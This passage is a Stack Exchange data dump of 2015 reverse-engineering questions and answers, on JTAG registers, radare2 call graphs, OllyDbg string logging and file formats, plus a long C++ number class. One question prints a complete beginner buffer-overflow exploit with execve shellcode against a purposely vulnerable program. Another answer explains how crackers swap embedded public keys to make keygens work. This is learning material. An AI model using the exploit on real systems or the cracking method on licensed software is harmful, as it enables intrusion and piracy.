  <row Id="9119" PostTypeId="1" CreationDate="2015-06-11T00:53:05.113" Score="2" ViewCount="186" Body="&lt;p&gt;On the internet, it always shows that each pin of the IC has its own Boundary Scan register (the yellow boxes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iAkt.jpg&quot; alt=&quot;http://www.corelis.com/education/JTAG_Tutorial.htm&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But looking at BSDL files there are actually more BS registers than pins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it right to say that there are always more BS registers than pins?&lt;/li&gt;&#xA;&lt;li&gt;What are the other BS registers used for OR Why are they there?&lt;/li&gt;&#xA;&lt;li&gt;How can we use JTAG(TAP controller, state machine etc) to find out which are the pin's BS register?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12753" LastActivityDate="2015-06-11T00:53:05.113" Title="JTAG finding BS registers for IC's pins" Tags="|jtag|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9120" PostTypeId="2" ParentId="9113" CreationDate="2015-06-11T07:17:21.737" Score="9" Body="&lt;p&gt;&lt;a href=&quot;http://www.radare.org/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2&lt;/a&gt; is also able to collect the callgraph of a program based on its binary only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time ago, I asked this question which is somehow related to yours and one of the author of Radare2 answered:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4260/recursive-traversal-disassembling-with-radare2&quot;&gt;Recursive traversal disassembling with Radare2?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Yet, if you want a graphical representation of the callgraph here is the way to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; radare2 /usr/bin/md5sum&#xA;... start of radare2 ...&#xA;[0x00402427]&amp;gt; aa&#xA;[0x00402427]&amp;gt; afl&#xA;[0x00402427]&amp;gt; ag &amp;gt; b.dot&#xA;[0x00402427]&amp;gt; !xdot b.dot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;aa&lt;/code&gt; command collect information about the analyzed binary. Then, the &lt;code&gt;afl&lt;/code&gt; command collect information about all the function call sites (addr, size, bbs, name). Finally, the &lt;code&gt;ag&lt;/code&gt; command output the graphviz representation of the collected data. Note that we dumped the data in the file &lt;code&gt;b.dot&lt;/code&gt;, I used the &lt;code&gt;xdot&lt;/code&gt; software from the Radare2 prompt but it can be done outside of the Radare2 shell (of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this way of doing in a &lt;a href=&quot;http://rada.re/get/r2embed-auckland2015.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;talk given at Auckland in 2015 by Andrew McDonnell&lt;/a&gt; (slides 26-27).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-06-11T07:17:21.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9121" PostTypeId="1" CreationDate="2015-06-11T11:47:21.550" Score="1" ViewCount="980" Body="&lt;p&gt;I can set up a breakpoint in OllyDbg and make it log a string in following ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[esp-4]&lt;/code&gt; - OllyDbg will figure out if it should log a number, a string or whatever&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;STRING [[esp-4]]&lt;/code&gt; - OllyDbg will show a string pointed to by value held in &lt;code&gt;esp-4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;UNICODE [[esp-4]]&lt;/code&gt; - OllyDbg will show an Unicode string pointed to by value held in &lt;code&gt;esp-4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, all of these are useless if I work with Japanese text that is encoded in Shift-JIS format. OllyDBG thinks it's empty text since it contains non-ASCII characters. Is there any way I can log these? Or log all bytes until NULL byte?&lt;/p&gt;&#xA;" OwnerUserId="11980" LastActivityDate="2015-06-11T14:52:28.893" Title="OllyDbg, breakpoint log and encoding" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9122" PostTypeId="2" ParentId="9121" CreationDate="2015-06-11T14:52:28.893" Score="1" Body="&lt;p&gt;What I got is that your problem is with showing non-ASCII chars... try these solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In OllyDBG: Options — Debugging Options — Strings - tick &quot;Allow diacritical symbols in strings&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Use &quot;Ultra String Reference&quot; plugin.&lt;/li&gt;&#xA;&lt;li&gt;Try OllyICE or OllySharp.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Similar issue (use google translate): &lt;a href=&quot;http://www.at4re.com/f/showthread.php?11337&quot; rel=&quot;nofollow&quot;&gt;http://www.at4re.com/f/showthread.php?11337&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11757" LastActivityDate="2015-06-11T14:52:28.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9123" PostTypeId="2" ParentId="1392" CreationDate="2015-06-12T00:12:52.817" Score="3" Body="&lt;p&gt;I will recommend &lt;a href=&quot;http://www.ultragdb.com/&quot; rel=&quot;nofollow&quot;&gt;UltraGDB&lt;/a&gt;, which is GDB GUI frontend and lightweight IDE based on Eclipse technology.&lt;/p&gt;&#xA;" OwnerUserId="12762" LastActivityDate="2015-06-12T00:12:52.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9124" PostTypeId="2" ParentId="1392" CreationDate="2015-06-12T16:11:55.253" Score="3" Body="&lt;p&gt;There &lt;del&gt;is&lt;/del&gt;&lt;strong&gt;was&lt;/strong&gt; &lt;a href=&quot;http://www.affinic.com/?page_id=109&quot; rel=&quot;nofollow noreferrer&quot;&gt;Affnic Debugger GUI&lt;/a&gt;. It is not free but a lite version exists. It's available for Windows, Linux &amp;amp; MacOS.&lt;/p&gt;&#xA;&lt;p&gt;From the official website,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Affinic Debugger GUI .aka. ADG, is designed as a graphical user interface for various debuggers. This build is specifically targeted on GDB, the GNU debugger. With the graphical windows, ADG can unleash the full power of debuggers by viewing multiple types of information within one view and maneuvering debuggers with easily clicking.  ADG also provides an integrated command terminal for users to input debugger command directly. ADG is available on Linux/Windows/Mac OS X.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="245" LastEditDate="2023-05-23T10:52:26.967" LastActivityDate="2023-05-23T10:52:26.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9125" PostTypeId="1" AcceptedAnswerId="9179" CreationDate="2015-06-12T21:12:58.343" Score="0" ViewCount="1866" Body="&lt;p&gt;I'm following the video here: &lt;a href=&quot;https://www.youtube.com/watch?v=N0DBu3TGejI&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=N0DBu3TGejI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExploitMe.c&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;&#xA;main(int argc, char **argv)&#xA;{&#xA;        char buffer[80];&#xA;&#xA;        strcpy(buffer, argv[1]);&#xA;&#xA;        return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HackYou.c&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;stdlib.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;&#xA;// shellcode ripped from http://www.milw0rm.com/shellcode/444&#xA;&#xA;char shellcode[]=&#xA;&quot;\x31\xc0&quot;                      // xorl         %eax,%eax&#xA;&quot;\x50&quot;                          // pushl        %eax&#xA;&quot;\x68\x6e\x2f\x73\x68&quot;          // pushl        $0x68732f6e&#xA;&quot;\x68\x2f\x2f\x62\x69&quot;          // pushl        $0x69622f2f&#xA;&quot;\x89\xe3&quot;                      // movl         %esp,%ebx&#xA;&quot;\x99&quot;                          // cltd&#xA;&quot;\x52&quot;                          // pushl        %edx&#xA;&quot;\x53&quot;                          // pushl        %ebx&#xA;&quot;\x89\xe1&quot;                      // movl         %esp,%ecx&#xA;&quot;\xb0\x0b&quot;                      // movb         $0xb,%al&#xA;&quot;\xcd\x80&quot;                      // int          $0x80&#xA;;&#xA;&#xA;char retaddr[] = &quot;\x08\xf3\xff\xbf&quot;;&#xA;&#xA;#define NOP 0x90&#xA;&#xA;&#xA;main()&#xA;{&#xA;        char buffer[96];&#xA;&#xA;        memset(buffer, NOP, 96);&#xA;&#xA;        memcpy(buffer, &quot;EGG=&quot;, 4);&#xA;&#xA;        memcpy(buffer+4, shellcode, 24);&#xA;&#xA;        memcpy(buffer+88, retaddr, 4);&#xA;        memcpy(buffer+92, &quot;\x00\x00\x00\x00&quot;, 4);&#xA;&#xA;        putenv(buffer);&#xA;&#xA;        system(&quot;/bin/sh&quot;);&#xA;&#xA;        return 0;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run ./HackYou, in that environment there is an enviroment variable named $EGG that is used as an argument to the ExploitMe.c. $EGG contains: 24 bytes shell code, 60 bytes nop, and 4 bytes to override the RET address for a total of 88 bytes (Buffer + EBP + RET)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This screenshot contains the information you need to know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nGGCm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On ExploitMe.c, I break on line 8. The first thing I print is the stack. 0x00881d36 is the RET address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I print argv&lt;a href=&quot;https://i.stack.imgur.com/nGGCm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;, as you can see it is 22 words. It will overwrite the Buffer+EBP+RET exactly. The start of the buffer variable is at 0xbffff308 (ESP+8), so I add that into the end of the payload. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I step. The RET has been perfectly overwritten with the buffer memory address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should return to the beginning of the buffer and start executing my shell code. All seems fine to me, but instead of giving me a shell, it gives me a segmentation fault. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12770" LastActivityDate="2015-06-20T00:09:08.040" Title="Beginner buffer overflow - why isn't my shellcode executing?" Tags="|buffer-overflow|shellcode|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9126" PostTypeId="1" CreationDate="2015-06-13T15:21:00.720" Score="1" ViewCount="647" Body="&lt;p&gt;I've been trying to google any information about how can i create a viewer for some custom file formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I've extracted multiple &lt;code&gt;.tbl&lt;/code&gt; files from game sources. This file contains a database table. From what I was able to google, I was able to extract file header. I have tried some tbl-viewers but they say file is corrupted, so i assume that custom encryption presents here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Bytes of file 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000    46 54 41 42 4c 45 00 00 00 00 10 00 21 00 00 00&#xA;00000010    03 00 00 00 2c 00 00 00 b0 00 00 00 b4 00 00 00&#xA;00000020    10 00 00 00 c4 02 00 00 00 00 00 00 01 00 00 00&#xA;00000030    02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First Bytes of file 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000    46 54 41 42 4c 45 00 00 00 00 10 00 22 00 00 00&#xA;00000010    15 00 00 00 2c 00 00 00 b4 00 00 00 ca 00 00 00&#xA;00000020    58 00 00 00 7a 0c 00 00 00 00 00 00 01 00 00 00&#xA;00000030    02 00 00 00 03 00 00 00 04 00 00 00 06 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in this case first 12 bytes seem to be the file header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;46 54 41 42 4c 45 00 00 00 00 10 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which stand for &lt;code&gt;FTABLE......&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is where i am stuck at. I didnt find information on what to do next to achieve my goal&lt;/p&gt;&#xA;" OwnerUserId="12773" LastActivityDate="2021-01-01T17:06:35.700" Title="File reverse engineering - .tbl format" Tags="|file-format|encryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9128" PostTypeId="2" ParentId="8092" CreationDate="2015-06-13T21:24:05.920" Score="5" Body="&lt;p&gt;I'm surprised nobody posted an answer, but here's what I eventually came to realize:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of times disassembling is used for taking apart potential malicious apps like viruses, worms, or malware to understand how they affect a system. There is both &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3473/what-is-the-difference-between-static-disassembly-and-dynamic-disassembly&quot;&gt;static and dynamic disassembly&lt;/a&gt;. Static disassembly poses (little) threat to your system as it is only looking through the code - however dynamic disassembly is actually running the code ( with breakpoints, etc ) - which is something you probably don't want to do on your main computer if the code is potentially malicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what IDA says in a &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/unpack_pe/manual.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial about disassembling a &quot;hostile&quot; executable&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We could put a breakpoint there and let the program run. Now, before we do that, let's repeat that it is not a good idea to run untrusted code on your computer. It is much better to have a separate &quot;sandbox&quot; machine for such tests, for example using the remote debugging facilities IDA offers. Therefore, IDA displays a warning when a new file is going to be started under debugger: ignore at your own risk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This finally made sense as an explanation for why you may want to use a remote debugger - seems so obvious now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still not exactly sure on how to setup and/or use Hopper's remote debugger but I'm sure I'll figure that out eventually.&lt;/p&gt;&#xA;" OwnerUserId="11574" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-06-13T21:24:05.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9129" PostTypeId="1" AcceptedAnswerId="9138" CreationDate="2015-06-13T23:07:25.087" Score="0" ViewCount="673" Body="&lt;p&gt;I have an issue. The address for a function that I need to overwrite the RET to (buffer overflow) is only 3 bytes. However, I need 4 bytes to overwrite the RET exactly. What do I do?&lt;/p&gt;&#xA;" OwnerUserId="12769" LastActivityDate="2015-06-15T08:01:10.027" Title="Address is 3 bytes - need 4 bytes to overwrite RET" Tags="|buffer-overflow|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9132" PostTypeId="1" CreationDate="2015-06-14T19:27:57.927" Score="1" ViewCount="659" Body="&lt;p&gt;A lot of cracked software in the internet looks like it's liberated with a patched executable and an additional key generator. Why so complicated? If the executable is patched why isn't the necessity for a key completely removed?&lt;/p&gt;&#xA;" OwnerUserId="3353" LastActivityDate="2015-06-16T16:39:55.980" Title="Why use some cracks a patch and a keygen?" Tags="|patching|" AnswerCount="2" CommentCount="0" ClosedDate="2015-06-17T18:38:30.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="9133" PostTypeId="2" ParentId="9132" CreationDate="2015-06-14T21:05:56.563" Score="3" Body="&lt;p&gt;One of the possible reasons for this is assymetric encryption used in newer protections. The software vendor has the private key, the public key is embedded in the software. This means you just can't write a key generator from the information that's publicly available. If the key checking itself is heavily protected against modification, it may be easier to roll your own private/public key pair, have your keygen use the private part of this pair, and replace the original public key in the software with yours.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-14T21:05:56.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9134" PostTypeId="1" CreationDate="2015-06-14T22:47:54.633" Score="2" ViewCount="1645" Body="&lt;p&gt;Recently I have collected several PIN traces but all of them are in a format like below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x2af1510676b0&#xA;0x2af1510676b3&#xA;0x2af15106b010&#xA;0x2af15106b011&#xA;0x2af15106b014&#xA;0x2af15106b016&#xA;0x2af15106b018&#xA;0x2af15106b01a&#xA;0x2af15106b01c&#xA;0x2af15106b01d&#xA;0x2af15106b020&#xA;0x2af15106b024&#xA;0x2af15106b026&#xA;0x2af15106b02a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to see the assembly instruction related to these traces (equivalent instructions) and perform some analysis but I do not know how to do that?&#xA;How can I see these traces in a readable format that I can analyze ?&lt;/p&gt;&#xA;" OwnerUserId="8671" LastEditorUserId="4437" LastEditDate="2015-06-15T07:52:35.160" LastActivityDate="2015-06-15T12:18:40.950" Title="How to read and analyze Intel PIN trace" Tags="|pintool|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9137" PostTypeId="2" ParentId="9108" CreationDate="2015-06-15T07:31:56.637" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;For starters you can encode/decode the military format to IEEE 754&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this way you can use &lt;strong&gt;FPU&lt;/strong&gt; and standard math stuff so at start everything would work. The code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    military fabs(military x) &#xA;     {&#xA;     double _x;&#xA;     _x=military2double(x);&#xA;     _x=fabs(_x);&#xA;     return double2military(_x);&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;convert functions to your format&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so start rewriting math function one by one to handle military format natively&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    military fabs(military x) &#xA;     {&#xA;     if (x&amp;lt;0) x=-x;&#xA;     return x;&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;military&lt;/code&gt; should be a class from this point and you need to code the basic operators and functions into it so it handles as common variable  data type. Do not forget to optimize what you can for example &lt;code&gt;fabs&lt;/code&gt; can be done by single bitwise &lt;code&gt;AND&lt;/code&gt; mask out the mantissa sign bit unless your military format does not use two's complement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is how one of mine floating point number classes look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//---------------------------------------------------------------------------&#xA;const int _arbnum_max_siz=1&amp;lt;&amp;lt;18;            // mantisa limit [32bit words] 1&amp;lt;&amp;lt;18 = MByte&#xA;const int _arbnum_min_exp=-0x80000000;      // min exponent limit for base = 2&#xA;const int _arbnum_max_exp=+0x7FFFFFFD;      // max exponent limit for base = 2&#xA;const int _arbnum_nan_exp=+0x7FFFFFFE;      // not a number exponent constatn&#xA;const int _arbnum_inf_exp=+0x7FFFFFFF;      // infinity exponent constatn&#xA;//---------------------------------------------------------------------------&#xA;enum _arbnum_error_enum&#xA;    {&#xA;    _arbnum_error_AllOk=0,&#xA;    _arbnum_error_NotEnoughMemory,          // memory allocation&#xA;    _arbnum_error_CorruptedSignum,          // bad combination of sig,exp,siz,dat&#xA;    _arbnum_error_ZeroSize,                 // unallocated number usage&#xA;    _arbnum_error_UnexpectedCharInFormat,   // str()&#xA;    _arbnum_error_TooBigNumber,             // str() dec num is bigger than expected&#xA;    };&#xA;//---------------------------------------------------------------------------&#xA;&#xA;// |-----|---------------------------|---------------|------|&#xA;// | sig | MSB      mantisa      LSB |   exponent    | bits |&#xA;// |-----|---------------------------|---------------|------|&#xA;// | +1  | 0.(0      ...          0) | 2^0           |   0  | +zero&#xA;// | -1  | 0.(0      ...          0) | 2^0           |   0  | -zero&#xA;// |-----|---------------------------|---------------|------|&#xA;// | +1  | 1.(dat[0] ... dat[siz-1]) | 2^exp         |   n  | +number&#xA;// | -1  | 1.(dat[0] ... dat[siz-1]) | 2^exp         |   n  | -number&#xA;// |-----|---------------------------|---------------|------|&#xA;// | +1  | 1.0                       | 2^+0x7FFFFFFE |   1  | +infinity&#xA;// | -1  | 1.0                       | 2^+0x7FFFFFFE |   1  | -infinity&#xA;// |-----|---------------------------|---------------|------|&#xA;//         ^                               ^             ^&#xA;//         ^                               ^          used bits count in mantisa&#xA;//         ^                          exponent of msb of dat[0]&#xA;//         1. is included in mantisa dat[0] !!!&#xA;//---------------------------------------------------------------------------&#xA;class arbnum&#xA;    {&#xA;public:&#xA;    ALU32 alu;&#xA;    // dat is LSDW first ... MSDW last&#xA;    DWORD *dat; int siz,exp,sig,bits;&#xA;    arbnum()                { dat=NULL; siz=0; exp=1; sig=+1; bits=0; }&#xA;    arbnum(int a)           { dat=NULL; siz=0; exp=1; sig=+1; bits=0; *this=a; }&#xA;    arbnum(DWORD a)         { dat=NULL; siz=0; exp=1; sig=+1; bits=0; *this=a; }&#xA;    arbnum(float a)         { dat=NULL; siz=0; exp=1; sig=+1; bits=0; *this=a; }&#xA;    arbnum(double a)        { dat=NULL; siz=0; exp=1; sig=+1; bits=0; *this=a; }&#xA;    arbnum(AnsiString a)    { dat=NULL; siz=0; exp=1; sig=+1; bits=0; *this=a; }&#xA;    arbnum(arbnum&amp;amp; a)       { dat=NULL; siz=0; exp=1; sig=+1; bits=0; *this=a; }&#xA;    ~arbnum()               { _free(); }&#xA;    arbnum* operator = (const arbnum *a) { *this=*a; return this; }&#xA;    arbnum* operator = (const arbnum &amp;amp;a) { _alloc(a.siz); for(int i=0;(i&amp;lt;siz)&amp;amp;&amp;amp;(i&amp;lt;a.siz);i++) dat[i]=a.dat[i]; exp=a.exp; sig=a.sig; bits=a.bits; return this; }&#xA;    // error handling&#xA;    void _error(int err)&#xA;        {&#xA;        err=1/0;&#xA;        }&#xA;    // memory management&#xA;    void _free();&#xA;    void _alloc(int _siz);&#xA;    void _realloc(int _siz);&#xA;    void _normalize(int _fbits=-1);&#xA;    // export functions&#xA;    AnsiString str(const char *cs=&quot;&quot;);          // cs: &quot;5.3&quot; &quot;.3&quot; &quot;5&quot; &quot;s5.3&quot; &quot; 5.3&quot; &quot;M.M&quot; b,d,h e&#xA;    int        geti32();&#xA;    DWORD      getu32();&#xA;    float      getf32();&#xA;    double     getf64();&#xA;    // assign operators&#xA;    arbnum operator = (int x);&#xA;    arbnum operator = (DWORD x);&#xA;    arbnum operator = (float x);&#xA;    arbnum operator = (double x);&#xA;    arbnum operator = (AnsiString x);           // nahra cislo zo stringu (+/-)dec/bin/hex(d/b/h) podla posledneho znaku&#xA;    // arithmetic operators&#xA;    arbnum operator + ();&#xA;    arbnum operator - ();&#xA;    arbnum operator ++ ();                      // ++x  return this+1&#xA;    arbnum operator -- ();                      // --x  return this-1&#xA;    arbnum operator ++ (int y);                 // x++  return this, and then this+1&#xA;    arbnum operator -- (int y);                 // x--  return this, and then this-1&#xA;    arbnum operator &amp;lt;&amp;lt; (int n);&#xA;    arbnum operator &amp;gt;&amp;gt; (int n);&#xA;    arbnum operator &amp;lt;&amp;lt;=(int n)          { this[0]=this[0]&amp;lt;&amp;lt;n; return *this; };&#xA;    arbnum operator &amp;gt;&amp;gt;=(int n)          { this[0]=this[0]&amp;gt;&amp;gt;n; return *this; };&#xA;    arbnum operator &amp;amp; (const arbnum &amp;amp;x);&#xA;    arbnum operator | (const arbnum &amp;amp;x);&#xA;    arbnum operator ^ (const arbnum &amp;amp;x);&#xA;    arbnum operator + (const arbnum &amp;amp;x);&#xA;    arbnum operator - (const arbnum &amp;amp;x);&#xA;    arbnum operator * (const arbnum &amp;amp;x);&#xA;    arbnum operator / (const arbnum &amp;amp;x);&#xA;    arbnum operator % (const arbnum &amp;amp;x);&#xA;    arbnum operator &amp;amp;=(const arbnum &amp;amp;x) { this[0]=this[0]&amp;amp;x; return *this; };&#xA;    arbnum operator |=(const arbnum &amp;amp;x) { this[0]=this[0]|x; return *this; };&#xA;    arbnum operator ^=(const arbnum &amp;amp;x) { this[0]=this[0]^x; return *this; };&#xA;    arbnum operator +=(const arbnum &amp;amp;x) { this[0]=this[0]+x; return *this; };&#xA;    arbnum operator -=(const arbnum &amp;amp;x) { this[0]=this[0]-x; return *this; };&#xA;    arbnum operator *=(const arbnum &amp;amp;x) { this[0]=this[0]*x; return *this; };&#xA;    arbnum operator /=(const arbnum &amp;amp;x) { this[0]=this[0]/x; return *this; };&#xA;    arbnum operator %=(const arbnum &amp;amp;x) { this[0]=this[0]%x; return *this; };&#xA;    // bool operators&#xA;    int operator !  (               ) { return   iszero();                       }&#xA;    int operator &amp;amp;&amp;amp; (const arbnum &amp;amp;x) { return ((isnonzero())&amp;amp;&amp;amp;(x.isnonzero())); }&#xA;    int operator || (const arbnum &amp;amp;x) { return ((isnonzero())||(x.isnonzero())); }&#xA;    int operator == (const arbnum &amp;amp;x);&#xA;    int operator != (const arbnum &amp;amp;x);&#xA;    int operator &amp;lt;  (const arbnum &amp;amp;x);&#xA;    int operator &amp;gt;  (const arbnum &amp;amp;x);&#xA;    int operator &amp;lt;= (const arbnum &amp;amp;x);&#xA;    int operator &amp;gt;= (const arbnum &amp;amp;x);&#xA;    int  isnan();                               // ( this == nan )&#xA;    int  isinf();                               // ( this == inf )&#xA;    int  isone();                               // ( this == +1 )&#xA;    int  iszero();                              // ( this == 0 )&#xA;    int  isnonzero();                           // ( this != 0 )&#xA;    int  isinteger();                           // ( this==integer(this))   ...-2,-1,0,+1,+2,...&#xA;    int  isreal();                              // ( this!=integer(this))   12.3456&#xA;    int  isfraction();                          // ( 1   &amp;gt;     abs(this))   0.555 -0.789&#xA;    // bit functions&#xA;    void bitset(int e);                         // this|=2^e&#xA;    void bitres(int e);                         // this&amp;amp;=2^e        [ normalize! ]&#xA;    void bitnot(int e);                         // this^=2^e        [ normalize! ]&#xA;    int  bitget(int e);                         //      =this &amp;amp; 2^e&#xA;    int  bits2size(int n);                      // = num of DWORDs needed for n&amp;gt;=0 bits&#xA;    int  nibits();                              // = num of used integer bits (from number)&#xA;    int  nfbits();                              // = num of used fractional bits (from number)&#xA;    int  mibits();                              // = num of used integer bits (from mantisa)&#xA;    int  mfbits();                              // = num of used fractional bits (from mantisa)&#xA;    // low level arithmetics&#xA;    void nan();                                 // this =+nan&#xA;    void inf();                                 // this =+inf&#xA;    void one();                                 // this =+1&#xA;    void zero();                                // this =+0&#xA;    void integer();                             // this = odreze desatinnu cast&#xA;    void fraction();                            // this = odreze celu cast&#xA;    void round();                               // this = zaokruhli podla 0.5&#xA;    void floor();                               // this = zaokruhli nadol&#xA;    void ceil ();                               // this = zaokruhli nahor&#xA;    void overflow();                            // this = zaokruhli ak zistil pretecenie (????????????.FFFFFFFFFFFFFF??h     [****]&#xA;    void shl(int n);                            // mantisa &amp;lt;&amp;lt;= n    [ normalize! ]&#xA;    void shr(int n);                            // mantisa &amp;gt;&amp;gt;= n    [ normalize! ]&#xA;    void inci();                                // this = sig (|this|+1)&#xA;    void deci();                                // this = sig (|this|-1)&#xA;    void incf();                                // this = sig (|this|+lsb)&#xA;    void decf();                                // this = sig (|this|-lsb)&#xA;    void add(const arbnum &amp;amp;x,const arbnum &amp;amp;y);  // this = |x|+|y|                    kazi sig !!! [ normalize! ]&#xA;    void sub(const arbnum &amp;amp;x,const arbnum &amp;amp;y);  // this = |x|-|y|  ; |x|&amp;gt;=|y|        kazi sig !!! [ normalize! ]&#xA;    void mul(const arbnum &amp;amp;x,const arbnum &amp;amp;y);  // this = |x|*|y|                    kazi sig !!! [ normalize! ]&#xA;    void _mul_karatsuba(DWORD *dst,DWORD *x,DWORD *y,int n);&#xA;    void mul_karatsuba(const arbnum &amp;amp;x,const arbnum &amp;amp;y);&#xA;    void mul_NTT(const arbnum &amp;amp;x,const arbnum &amp;amp;y);&#xA;    void sqr(const arbnum &amp;amp;x);                  // this = |x|*|x|                    kazi sig !!! [ normalize! ]&#xA;    void sqr_NTT(const arbnum &amp;amp;x);&#xA;    void div(const arbnum &amp;amp;x,const arbnum &amp;amp;y,int acc=-1);   // this = |x|/|y|  ; y = &amp;lt;0.5,1)     kazi sig !!! [ normalize! ]&#xA;    void div_binary(const arbnum &amp;amp;x,const arbnum 